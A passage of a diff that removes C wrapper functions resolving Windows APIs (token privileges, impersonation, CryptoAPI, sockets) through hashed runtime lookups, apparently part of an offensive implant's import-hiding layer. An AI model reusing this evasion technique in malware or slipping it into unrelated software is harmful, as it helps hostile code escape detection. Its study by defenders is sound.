pWaitForSingleObject(hHandle, dwMilliseconds); - } - return WAIT_FAILED; -} - -VOID winapi_kernel32_Sleep(DWORD dwMilliseconds) { - VOID (WINAPI *pSleep)(DWORD) = GetFunctionH(KERNEL32_DLL, H_Sleep); - dprintf("[WINAPI][winapi_kernel32_Sleep] Calling Sleep @ %p", pSleep); - if (pSleep) { - pSleep(dwMilliseconds); - } -} - -HANDLE winapi_kernel32_GetProcessHeap(VOID) { - HANDLE (WINAPI *pGetProcessHeap)(VOID) = GetFunctionH(KERNEL32_DLL, H_GetProcessHeap); - dprintf("[WINAPI][winapi_kernel32_GetProcessHeap] Calling GetProcessHeap @ %p", pGetProcessHeap); - if (pGetProcessHeap) { - return pGetProcessHeap(); - } - return NULL; -} - -LPVOID winapi_kernel32_HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) { - LPVOID (WINAPI *pHeapAlloc)(HANDLE, DWORD, SIZE_T) = GetFunctionH(KERNEL32_DLL, H_HeapAlloc); - dprintf("[WINAPI][winapi_kernel32_HeapAlloc] Calling HeapAlloc @ %p", pHeapAlloc); - if (pHeapAlloc) { - return pHeapAlloc(hHeap, dwFlags, dwBytes); - } - return NULL; -} - -BOOL winapi_kernel32_HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) { - BOOL (WINAPI *pHeapFree)(HANDLE, DWORD, LPVOID) = GetFunctionH(KERNEL32_DLL, H_HeapFree); - dprintf("[WINAPI][winapi_kernel32_HeapFree] Calling HeapFree @ %p", pHeapFree); - if (pHeapFree) { - return pHeapFree(hHeap, dwFlags, lpMem); - } - return FALSE; -} - -BOOL winapi_kernel32_IsWow64Process(HANDLE hProcess, PBOOL Wow64Process) { - BOOL (WINAPI *pIsWow64Process)(HANDLE, PBOOL) = GetFunctionH(KERNEL32_DLL, H_IsWow64Process); - dprintf("[WINAPI][winapi_kernel32_IsWow64Process] Calling IsWow64Process @ %p", pIsWow64Process); - if (pIsWow64Process) { - return pIsWow64Process(hProcess, Wow64Process); - } - return FALSE; -} - -BOOL winapi_kernel32_ProcessIdToSessionId(DWORD dwProcessId, DWORD* pSessionId) { - BOOL (WINAPI *pProcessIdToSessionId)(DWORD, DWORD*) = GetFunctionH(KERNEL32_DLL, H_ProcessIdToSessionId); - dprintf("[WINAPI][winapi_kernel32_ProcessIdToSessionId] Calling ProcessIdToSessionId @ %p", pProcessIdToSessionId); - if (pProcessIdToSessionId) { - return pProcessIdToSessionId(dwProcessId, pSessionId); - } - return FALSE; -} - -DWORD winapi_kernel32_GetCurrentThreadId(VOID) { - DWORD (WINAPI *pGetCurrentThreadId)(VOID) = GetFunctionH(KERNEL32_DLL, H_GetCurrentThreadId); - dprintf("[WINAPI][winapi_kernel32_GetCurrentThreadId] Calling GetCurrentThreadId @ %p", pGetCurrentThreadId); - if (pGetCurrentThreadId) { - return pGetCurrentThreadId(); - } - return 0; -} - -// END: kernel32.dll -// START: kernel32 extensions.dll - -LPVOID winapi_kernel32_HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes) { - LPVOID (WINAPI *pHeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T) = GetFunctionH(KERNEL32_DLL, H_HeapReAlloc); - dprintf("[WINAPI][winapi_kernel32_HeapReAlloc] Calling HeapReAlloc @ %p", pHeapReAlloc); - if (pHeapReAlloc) { - return pHeapReAlloc(hHeap, dwFlags, lpMem, dwBytes); - } - return NULL; -} - -HLOCAL winapi_kernel32_LocalAlloc(UINT uFlags, SIZE_T uBytes) { - HLOCAL (WINAPI *pLocalAlloc)(UINT, SIZE_T) = GetFunctionH(KERNEL32_DLL, H_LocalAlloc); - dprintf("[WINAPI][winapi_kernel32_LocalAlloc] Calling LocalAlloc @ %p", pLocalAlloc); - if (pLocalAlloc) { - return pLocalAlloc(uFlags, uBytes); - } - return NULL; -} - -VOID winapi_kernel32_GetSystemTime(LPSYSTEMTIME lpSystemTime) { - VOID (WINAPI *pGetSystemTime)(LPSYSTEMTIME) = GetFunctionH(KERNEL32_DLL, H_GetSystemTime); - dprintf("[WINAPI][winapi_kernel32_GetSystemTime] Calling GetSystemTime @ %p", pGetSystemTime); - if (pGetSystemTime) { - pGetSystemTime(lpSystemTime); - } -} - -BOOL winapi_kernel32_SystemTimeToFileTime(const SYSTEMTIME* lpSystemTime, LPFILETIME lpFileTime) { - BOOL (WINAPI *pSystemTimeToFileTime)(const SYSTEMTIME*, LPFILETIME) = GetFunctionH(KERNEL32_DLL, H_SystemTimeToFileTime); - dprintf("[WINAPI][winapi_kernel32_SystemTimeToFileTime] Calling SystemTimeToFileTime @ %p", pSystemTimeToFileTime); - if (pSystemTimeToFileTime) { - return pSystemTimeToFileTime(lpSystemTime, lpFileTime); - } - return FALSE; -} - -int winapi_kernel32_MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar) { - int (WINAPI *pMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int) = GetFunctionH(KERNEL32_DLL, H_MultiByteToWideChar); - dprintf("[WINAPI][winapi_kernel32_MultiByteToWideChar] Calling MultiByteToWideChar @ %p", pMultiByteToWideChar); - if (pMultiByteToWideChar) { - return pMultiByteToWideChar(CodePage, dwFlags, lpMultiByteStr, cbMultiByte, lpWideCharStr, cchWideChar); - } - return 0; -} - -int winapi_kernel32_WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar) { - int (WINAPI *pWideCharToMultiByte)(UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL) = GetFunctionH(KERNEL32_DLL, H_WideCharToMultiByte); - dprintf("[WINAPI][winapi_kernel32_WideCharToMultiByte] Calling WideCharToMultiByte @ %p", pWideCharToMultiByte); - if (pWideCharToMultiByte) { - return pWideCharToMultiByte(CodePage, dwFlags, lpWideCharStr, cchWideChar, lpMultiByteStr, cbMultiByte, lpDefaultChar, lpUsedDefaultChar); - } - return 0; -} - -BOOL winapi_kernel32_PeekNamedPipe(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage) { - BOOL (WINAPI *pPeekNamedPipe)(HANDLE, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD) = GetFunctionH(KERNEL32_DLL, H_PeekNamedPipe); - dprintf("[WINAPI][winapi_kernel32_PeekNamedPipe] Calling PeekNamedPipe @ %p", pPeekNamedPipe); - if (pPeekNamedPipe) { - return pPeekNamedPipe(hNamedPipe, lpBuffer, nBufferSize, lpBytesRead, lpTotalBytesAvail, lpBytesLeftThisMessage); - } - return FALSE; -} - -BOOL winapi_kernel32_SetNamedPipeHandleState(HANDLE hNamedPipe, LPDWORD lpMode, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout) { - BOOL (WINAPI *pSetNamedPipeHandleState)(HANDLE, LPDWORD, LPDWORD, LPDWORD) = GetFunctionH(KERNEL32_DLL, H_SetNamedPipeHandleState); - dprintf("[WINAPI][winapi_kernel32_SetNamedPipeHandleState] Calling SetNamedPipeHandleState @ %p", pSetNamedPipeHandleState); - if (pSetNamedPipeHandleState) { - return pSetNamedPipeHandleState(hNamedPipe, lpMode, lpMaxCollectionCount, lpCollectDataTimeout); - } - return FALSE; -} - -BOOL winapi_kernel32_ReleaseMutex(HANDLE hMutex) { - BOOL (WINAPI *pReleaseMutex)(HANDLE) = GetFunctionH(KERNEL32_DLL, H_ReleaseMutex); - dprintf("[WINAPI][winapi_kernel32_ReleaseMutex] Calling ReleaseMutex @ %p", pReleaseMutex); - if (pReleaseMutex) { - return pReleaseMutex(hMutex); - } - return FALSE; -} - -HANDLE winapi_kernel32_CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName) { - HANDLE (WINAPI *pCreateMutexA)(LPSECURITY_ATTRIBUTES, BOOL, LPCSTR) = GetFunctionH(KERNEL32_DLL, H_CreateMutexA); - dprintf("[WINAPI][winapi_kernel32_CreateMutexA] Calling CreateMutexA @ %p", pCreateMutexA); - if (pCreateMutexA) { - return pCreateMutexA(lpMutexAttributes, bInitialOwner, lpName); - } - return NULL; -} - -HANDLE winapi_kernel32_CreateMutexW(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCWSTR lpName) { - HANDLE (WINAPI *pCreateMutexW)(LPSECURITY_ATTRIBUTES, BOOL, LPCWSTR) = GetFunctionH(KERNEL32_DLL, H_CreateMutexW); - dprintf("[WINAPI][winapi_kernel32_CreateMutexW] Calling CreateMutexW @ %p", pCreateMutexW); - if (pCreateMutexW) { - return pCreateMutexW(lpMutexAttributes, bInitialOwner, lpName); - } - return NULL; -} - -BOOL winapi_kernel32_TerminateThread(HANDLE hThread, DWORD dwExitCode) { - BOOL (WINAPI *pTerminateThread)(HANDLE, DWORD) = GetFunctionH(KERNEL32_DLL, H_TerminateThread); - dprintf("[WINAPI][winapi_kernel32_TerminateThread] Calling TerminateThread @ %p", pTerminateThread); - if (pTerminateThread) { - return pTerminateThread(hThread, dwExitCode); - } - return FALSE; -} - -int winapi_kernel32_lstrcmpW(LPCWSTR lpString1, LPCWSTR lpString2) { - int (WINAPI *plstrcmpW)(LPCWSTR, LPCWSTR) = GetFunctionH(KERNEL32_DLL, H_lstrcmpW); - dprintf("[WINAPI][winapi_kernel32_lstrcmpW] Calling lstrcmpW @ %p", plstrcmpW); - if (plstrcmpW) { - return plstrcmpW(lpString1, lpString2); - } - return 0; -} - -// END: kernel32 extensions.dll -// START: advapi32.dll - -BOOL winapi_advapi32_OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle) { - BOOL (WINAPI *pOpenProcessToken)(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle) = GetFunctionH(ADVAPI32_DLL, H_OpenProcessToken); - dprintf("[WINAPI][winapi_advapi32_OpenProcessToken] Calling OpenProcessToken @ %p", pOpenProcessToken); - if (pOpenProcessToken) { - return pOpenProcessToken(ProcessHandle, DesiredAccess, TokenHandle); - } - return FALSE; -} - -BOOL winapi_advapi32_AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength) { - BOOL (WINAPI *pAdjustTokenPrivileges)(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength) = GetFunctionH(ADVAPI32_DLL, H_AdjustTokenPrivileges); - dprintf("[WINAPI][winapi_advapi32_AdjustTokenPrivileges] Calling AdjustTokenPrivileges @ %p", pAdjustTokenPrivileges); - if (pAdjustTokenPrivileges) { - return pAdjustTokenPrivileges(TokenHandle, DisableAllPrivileges, NewState, BufferLength, PreviousState, ReturnLength); - } - return FALSE; -} - -BOOL winapi_advapi32_ImpersonateLoggedOnUser(HANDLE hToken) { - BOOL (WINAPI *pImpersonateLoggedOnUser)(HANDLE hToken) = GetFunctionH(ADVAPI32_DLL, H_ImpersonateLoggedOnUser); - dprintf("[WINAPI][winapi_advapi32_ImpersonateLoggedOnUser] Calling ImpersonateLoggedOnUser @ %p", pImpersonateLoggedOnUser); - if (pImpersonateLoggedOnUser) { - return pImpersonateLoggedOnUser(hToken); - } - return FALSE; -} - -BOOL winapi_advapi32_CryptDuplicateKey(HCRYPTKEY hKey, DWORD* pdwReserved, DWORD dwFlags, HCRYPTKEY* phKey) { - BOOL (WINAPI *pCryptDuplicateKey)(HCRYPTKEY hKey, DWORD* pdwReserved, DWORD dwFlags, HCRYPTKEY* phKey) = GetFunctionH(ADVAPI32_DLL, H_CryptDuplicateKey); - dprintf("[WINAPI][winapi_advapi32_CryptDuplicateKey] Calling CryptDuplicateKey @ %p", pCryptDuplicateKey); - if (pCryptDuplicateKey) { - return pCryptDuplicateKey(hKey, pdwReserved, dwFlags, phKey); - } - return FALSE; -} - -BOOL winapi_advapi32_CryptSetKeyParam(HCRYPTKEY hKey, DWORD dwParam, const BYTE* pbData, DWORD dwFlags) { - BOOL (WINAPI *pCryptSetKeyParam)(HCRYPTKEY hKey, DWORD dwParam, const BYTE* pbData, DWORD dwFlags) = GetFunctionH(ADVAPI32_DLL, H_CryptSetKeyParam); - dprintf("[WINAPI][winapi_advapi32_CryptSetKeyParam] Calling CryptSetKeyParam @ %p", pCryptSetKeyParam); - if (pCryptSetKeyParam) { - return pCryptSetKeyParam(hKey, dwParam, pbData, dwFlags); - } - return FALSE; -} - -BOOL winapi_advapi32_CryptDecrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE* pbData, DWORD* pdwDataLen) { - BOOL (WINAPI *pCryptDecrypt)(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE* pbData, DWORD* pdwDataLen) = GetFunctionH(ADVAPI32_DLL, H_CryptDecrypt); - dprintf("[WINAPI][winapi_advapi32_CryptDecrypt] Calling CryptDecrypt @ %p", pCryptDecrypt); - if (pCryptDecrypt) { - return pCryptDecrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen); - } - return FALSE; -} - -BOOL winapi_advapi32_CryptGenRandom(HCRYPTPROV hProv, DWORD dwLen, BYTE* pbBuffer) { - BOOL (WINAPI *pCryptGenRandom)(HCRYPTPROV hProv, DWORD dwLen, BYTE* pbBuffer) = GetFunctionH(ADVAPI32_DLL, H_CryptGenRandom); - dprintf("[WINAPI][winapi_advapi32_CryptGenRandom] Calling CryptGenRandom @ %p", pCryptGenRandom); - if (pCryptGenRandom) { - return pCryptGenRandom(hProv, dwLen, pbBuffer); - } - return FALSE; -} - -BOOL winapi_advapi32_CryptEncrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE* pbData, DWORD* pdwDataLen, DWORD dwBufLen) { - BOOL (WINAPI *pCryptEncrypt)(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE* pbData, DWORD* pdwDataLen, DWORD dwBufLen) = GetFunctionH(ADVAPI32_DLL, H_CryptEncrypt); - dprintf("[WINAPI][winapi_advapi32_CryptEncrypt] Calling CryptEncrypt @ %p", pCryptEncrypt); - if (pCryptEncrypt) { - return pCryptEncrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen, dwBufLen); - } - return FALSE; -} - -BOOL winapi_advapi32_CryptDestroyKey(HCRYPTKEY hKey) { - BOOL (WINAPI *pCryptDestroyKey)(HCRYPTKEY hKey) = GetFunctionH(ADVAPI32_DLL, H_CryptDestroyKey); - dprintf("[WINAPI][winapi_advapi32_CryptDestroyKey] Calling CryptDestroyKey @ %p", pCryptDestroyKey); - if (pCryptDestroyKey) { - return pCryptDestroyKey(hKey); - } - return FALSE; -} - -BOOL winapi_advapi32_CryptReleaseContext(HCRYPTPROV hProv, DWORD dwFlags) { - BOOL (WINAPI *pCryptReleaseContext)(HCRYPTPROV hProv, DWORD dwFlags) = GetFunctionH(ADVAPI32_DLL, H_CryptReleaseContext); - dprintf("[WINAPI][winapi_advapi32_CryptReleaseContext] Calling CryptReleaseContext @ %p", pCryptReleaseContext); - if (pCryptReleaseContext) { - return pCryptReleaseContext(hProv, dwFlags); - } - return FALSE; -} - -BOOL winapi_advapi32_CryptImportKey(HCRYPTPROV hProv, const BYTE* pbData, DWORD dwDataLen, HCRYPTKEY hPubKey, DWORD dwFlags, HCRYPTKEY* phKey) { - BOOL (WINAPI *pCryptImportKey)(HCRYPTPROV hProv, const BYTE* pbData, DWORD dwDataLen, HCRYPTKEY hPubKey, DWORD dwFlags, HCRYPTKEY* phKey) = GetFunctionH(ADVAPI32_DLL, H_CryptImportKey); - dprintf("[WINAPI][winapi_advapi32_CryptImportKey] Calling CryptImportKey @ %p", pCryptImportKey); - if (pCryptImportKey) { - return pCryptImportKey(hProv, pbData, dwDataLen, hPubKey, dwFlags, phKey); - } - return FALSE; -} - -BOOL winapi_advapi32_OpenThreadToken(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle) { - BOOL (WINAPI *pOpenThreadToken)(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle) = GetFunctionH(ADVAPI32_DLL, H_OpenThreadToken); - dprintf("[WINAPI][winapi_advapi32_OpenThreadToken] Calling OpenThreadToken @ %p", pOpenThreadToken); - if (pOpenThreadToken) { - return pOpenThreadToken(ThreadHandle, DesiredAccess, OpenAsSelf, TokenHandle); - } - return FALSE; -} - -BOOL winapi_advapi32_AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD dwSubAuthority0, DWORD dwSubAuthority1, DWORD dwSubAuthority2, DWORD dwSubAuthority3, DWORD dwSubAuthority4, DWORD dwSubAuthority5, DWORD dwSubAuthority6, DWORD dwSubAuthority7, PSID* pSid) { - BOOL (WINAPI *pAllocateAndInitializeSid)(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD dwSubAuthority0, DWORD dwSubAuthority1, DWORD dwSubAuthority2, DWORD dwSubAuthority3, DWORD dwSubAuthority4, DWORD dwSubAuthority5, DWORD dwSubAuthority6, DWORD dwSubAuthority7, PSID* pSid) = GetFunctionH(ADVAPI32_DLL, H_AllocateAndInitializeSid); - dprintf("[WINAPI][winapi_advapi32_AllocateAndInitializeSid] Calling AllocateAndInitializeSid @ %p", pAllocateAndInitializeSid); - if (pAllocateAndInitializeSid) { - return pAllocateAndInitializeSid(pIdentifierAuthority, nSubAuthorityCount, dwSubAuthority0, dwSubAuthority1, dwSubAuthority2, dwSubAuthority3, dwSubAuthority4, dwSubAuthority5, dwSubAuthority6, dwSubAuthority7, pSid); - } - return FALSE; -} - -DWORD winapi_advapi32_SetEntriesInAclW(ULONG cCountOfExplicitEntries, PEXPLICIT_ACCESS_W pListOfExplicitEntries, PACL OldAcl, PACL* NewAcl) { - DWORD (WINAPI *pSetEntriesInAclW)(ULONG cCountOfExplicitEntries, PEXPLICIT_ACCESS_W pListOfExplicitEntries, PACL OldAcl, PACL* NewAcl) = GetFunctionH(ADVAPI32_DLL, H_SetEntriesInAclW); - dprintf("[WINAPI][winapi_advapi32_SetEntriesInAclW] Calling SetEntriesInAclW @ %p", pSetEntriesInAclW); - if (pSetEntriesInAclW) { - return pSetEntriesInAclW(cCountOfExplicitEntries, pListOfExplicitEntries, OldAcl, NewAcl); - } - return ERROR_INVALID_FUNCTION; // Generic error code -} - -BOOL winapi_advapi32_InitializeAcl(PACL pAcl, DWORD nAclLength, DWORD dwAclRevision) { - BOOL (WINAPI *pInitializeAcl)(PACL pAcl, DWORD nAclLength, DWORD dwAclRevision) = GetFunctionH(ADVAPI32_DLL, H_InitializeAcl); - dprintf("[WINAPI][winapi_advapi32_InitializeAcl] Calling InitializeAcl @ %p", pInitializeAcl); - if (pInitializeAcl) { - return pInitializeAcl(pAcl, nAclLength, dwAclRevision); - } - return FALSE; -} - -BOOL winapi_advapi32_InitializeSecurityDescriptor(PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision) { - BOOL (WINAPI *pInitializeSecurityDescriptor)(PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision) = GetFunctionH(ADVAPI32_DLL, H_InitializeSecurityDescriptor); - dprintf("[WINAPI][winapi_advapi32_InitializeSecurityDescriptor] Calling InitializeSecurityDescriptor @ %p", pInitializeSecurityDescriptor); - if (pInitializeSecurityDescriptor) { - return pInitializeSecurityDescriptor(pSecurityDescriptor, dwRevision); - } - return FALSE; -} - -BOOL winapi_advapi32_SetSecurityDescriptorDacl(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted) { - BOOL (WINAPI *pSetSecurityDescriptorDacl)(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted) = GetFunctionH(ADVAPI32_DLL, H_SetSecurityDescriptorDacl); - dprintf("[WINAPI][winapi_advapi32_SetSecurityDescriptorDacl] Calling SetSecurityDescriptorDacl @ %p", pSetSecurityDescriptorDacl); - if (pSetSecurityDescriptorDacl) { - return pSetSecurityDescriptorDacl(pSecurityDescriptor, bDaclPresent, pDacl, bDaclDefaulted); - } - return FALSE; -} - -BOOL winapi_advapi32_SetSecurityDescriptorSacl(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bSaclPresent, PACL pSacl, BOOL bSaclDefaulted) { - BOOL (WINAPI *pSetSecurityDescriptorSacl)(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bSaclPresent, PACL pSacl, BOOL bSaclDefaulted) = GetFunctionH(ADVAPI32_DLL, H_SetSecurityDescriptorSacl); - dprintf("[WINAPI][winapi_advapi32_SetSecurityDescriptorSacl] Calling SetSecurityDescriptorSacl @ %p", pSetSecurityDescriptorSacl); - if (pSetSecurityDescriptorSacl) { - return pSetSecurityDescriptorSacl(pSecurityDescriptor, bSaclPresent, pSacl, bSaclDefaulted); - } - return FALSE; -} - -BOOL winapi_advapi32_LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid) { - BOOL (WINAPI *pLookupPrivilegeValueW)(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid) = GetFunctionH(ADVAPI32_DLL, H_LookupPrivilegeValueW); - dprintf("[WINAPI][winapi_advapi32_LookupPrivilegeValueW] Calling LookupPrivilegeValueW @ %p", pLookupPrivilegeValueW); - if (pLookupPrivilegeValueW) { - return pLookupPrivilegeValueW(lpSystemName, lpName, lpLuid); - } - return FALSE; -} - -BOOL winapi_advapi32_CryptAcquireContextA(HCRYPTPROV* phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags) { - BOOL (WINAPI *pCryptAcquireContextA)(HCRYPTPROV*, LPCSTR, LPCSTR, DWORD, DWORD) = GetFunctionH(ADVAPI32_DLL, H_CryptAcquireContextA); - dprintf("[WINAPI][winapi_advapi32_CryptAcquireContextA] Calling CryptAcquireContextA @ %p", pCryptAcquireContextA); - if (pCryptAcquireContextA) { - return pCryptAcquireContextA(phProv, szContainer, szProvider, dwProvType, dwFlags); - } - return FALSE; -} - -BOOL winapi_advapi32_CryptAcquireContextW(HCRYPTPROV* phProv, LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwProvType, DWORD dwFlags) { - BOOL (WINAPI *pCryptAcquireContextW)(HCRYPTPROV*, LPCWSTR, LPCWSTR, DWORD, DWORD) = GetFunctionH(ADVAPI32_DLL, H_CryptAcquireContextW); - dprintf("[WINAPI][winapi_advapi32_CryptAcquireContextW] Calling CryptAcquireContextW @ %p", pCryptAcquireContextW); - if (pCryptAcquireContextW) { - return pCryptAcquireContextW(phProv, szContainer, szProvider, dwProvType, dwFlags); - } - return FALSE; -} - -BOOL winapi_advapi32_AddMandatoryAce(PACL pAcl, DWORD dwAceRevision, DWORD AceFlags, DWORD MandatoryPolicy, PSID pLabelSid) { - BOOL (WINAPI *pAddMandatoryAce)(PACL, DWORD, DWORD, DWORD, PSID) = GetFunctionH(ADVAPI32_DLL, H_AddMandatoryAce); - dprintf("[WINAPI][winapi_advapi32_AddMandatoryAce] Calling AddMandatoryAce @ %p", pAddMandatoryAce); - if (pAddMandatoryAce) { - return pAddMandatoryAce(pAcl, dwAceRevision, AceFlags, MandatoryPolicy, pLabelSid); - } - return FALSE; -} - -// END: advapi32.dll -// START: crypt32.dll - -BOOL winapi_crypt32_CryptDecodeObjectEx(DWORD dwCertEncodingType, LPCSTR lpszStructType, const BYTE* pbEncoded, DWORD cbEncoded, DWORD dwFlags, PCRYPT_DECODE_PARA pDecodePara, void* pvStructInfo, DWORD* pcbStructInfo) { - BOOL (WINAPI *pCryptDecodeObjectEx)(DWORD dwCertEncodingType, LPCSTR lpszStructType, const BYTE* pbEncoded, DWORD cbEncoded, DWORD dwFlags, PCRYPT_DECODE_PARA pDecodePara, void* pvStructInfo, DWORD* pcbStructInfo) = GetFunctionH(CRYPT32_DLL, H_CryptDecodeObjectEx); - dprintf("[WINAPI][winapi_crypt32_CryptDecodeObjectEx] Calling CryptDecodeObjectEx @ %p", pCryptDecodeObjectEx); - if (pCryptDecodeObjectEx) { - return pCryptDecodeObjectEx(dwCertEncodingType, lpszStructType, pbEncoded, cbEncoded, dwFlags, pDecodePara, pvStructInfo, pcbStructInfo); - } - return FALSE; -} - -BOOL winapi_crypt32_CryptImportPublicKeyInfo(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY* phKey) { - BOOL (WINAPI *pCryptImportPublicKeyInfo)(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY* phKey) = GetFunctionH(CRYPT32_DLL, H_CryptImportPublicKeyInfo); - dprintf("[WINAPI][winapi_crypt32_CryptImportPublicKeyInfo] Calling CryptImportPublicKeyInfo @ %p", pCryptImportPublicKeyInfo); - if (pCryptImportPublicKeyInfo) { - return pCryptImportPublicKeyInfo(hCryptProv, dwCertEncodingType, pInfo, phKey); - } - return FALSE; -} - -BOOL winapi_crypt32_CertGetCertificateContextProperty(PCCERT_CONTEXT pCertContext, DWORD dwPropId, void* pvData, DWORD* pcbData) { - BOOL (WINAPI *pCertGetCertificateContextProperty)(PCCERT_CONTEXT pCertContext, DWORD dwPropId, void* pvData, DWORD* pcbData) = GetFunctionH(CRYPT32_DLL, H_CertGetCertificateContextProperty); - dprintf("[WINAPI][winapi_crypt32_CertGetCertificateContextProperty] Calling CertGetCertificateContextProperty @ %p", pCertGetCertificateContextProperty); - if (pCertGetCertificateContextProperty) { - return pCertGetCertificateContextProperty(pCertContext, dwPropId, pvData, pcbData); - } - return FALSE; -} - -BOOL winapi_crypt32_CryptBinaryToStringA(const BYTE* pbBinary, DWORD cbBinary, DWORD dwFlags, LPSTR pszString, DWORD* pcchString) { - BOOL (WINAPI *pCryptBinaryToStringA)(const BYTE*, DWORD, DWORD, LPSTR, DWORD*) = GetFunctionH(CRYPT32_DLL, H_CryptBinaryToStringA); - dprintf("[WINAPI][winapi_crypt32_CryptBinaryToStringA] Calling CryptBinaryToStringA @ %p", pCryptBinaryToStringA); - if (pCryptBinaryToStringA) { - return pCryptBinaryToStringA(pbBinary, cbBinary, dwFlags, pszString, pcchString); - } - return FALSE; -} - -BOOL winapi_crypt32_CryptStringToBinaryA(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE* pbBinary, DWORD* pcbBinary, DWORD* pdwSkip, DWORD* pdwFlags) { - BOOL (WINAPI *pCryptStringToBinaryA)(LPCSTR, DWORD, DWORD, BYTE*, DWORD*, DWORD*, DWORD*) = GetFunctionH(CRYPT32_DLL, H_CryptStringToBinaryA); - dprintf("[WINAPI][winapi_crypt32_CryptStringToBinaryA] Calling CryptStringToBinaryA @ %p", pCryptStringToBinaryA); - if (pCryptStringToBinaryA) { - return pCryptStringToBinaryA(pszString, cchString, dwFlags, pbBinary, pcbBinary, pdwSkip, pdwFlags); - } - return FALSE; -} - -// END: crypt32.dll -// START: user32.dll - -BOOL winapi_user32_GetUserObjectInformationA(HANDLE hObj, int nIndex, PVOID pvInfo, DWORD nLength, LPDWORD lpnLengthNeeded) { - BOOL (WINAPI *pGetUserObjectInformationA)(HANDLE hObj, int nIndex, PVOID pvInfo, DWORD nLength, LPDWORD lpnLengthNeeded) = GetFunctionH(USER32_DLL, H_GetUserObjectInformationA); - dprintf("[WINAPI][winapi_user32_GetUserObjectInformationA] Calling GetUserObjectInformationA @ %p", pGetUserObjectInformationA); - if (pGetUserObjectInformationA) { - return pGetUserObjectInformationA(hObj, nIndex, pvInfo, nLength, lpnLengthNeeded); - } - return FALSE; -} - -HDESK winapi_user32_GetThreadDesktop(DWORD dwThreadId) { - HDESK (WINAPI *pGetThreadDesktop)(DWORD dwThreadId) = GetFunctionH(USER32_DLL, H_GetThreadDesktop); - dprintf("[WINAPI][winapi_user32_GetThreadDesktop] Calling GetThreadDesktop @ %p", pGetThreadDesktop); - if (pGetThreadDesktop) { - return pGetThreadDesktop(dwThreadId); - } - return NULL; -} - -HWINSTA winapi_user32_GetProcessWindowStation(VOID) { - HWINSTA (WINAPI *pGetProcessWindowStation)(VOID) = GetFunctionH(USER32_DLL, H_GetProcessWindowStation); - dprintf("[WINAPI][winapi_user32_GetProcessWindowStation] Calling GetProcessWindowStation @ %p", pGetProcessWindowStation); - if (pGetProcessWindowStation) { - return pGetProcessWindowStation(); - } - return NULL; -} - -// END: user32.dll -// START: ws2_32.dll -int winapi_ws2_32_WSAStartup(WORD wVersionRequired, LPWSADATA lpWSAData) { - int (WSAAPI *pWSAStartup)(WORD wVersionRequired, LPWSADATA lpWSAData) = GetFunctionH(WS2_32_DLL, H_WSAStartup); - dprintf("[WINAPI][winapi_ws2_32_WSAStartup] Calling WSAStartup @ %p", pWSAStartup); - if (pWSAStartup) { - return pWSAStartup(wVersionRequired, lpWSAData); - } - return WSASYSNOTREADY; -} - -SOCKET winapi_ws2_32_socket(int af, int type, int protocol) { - SOCKET (WSAAPI *psocket)(int af, int 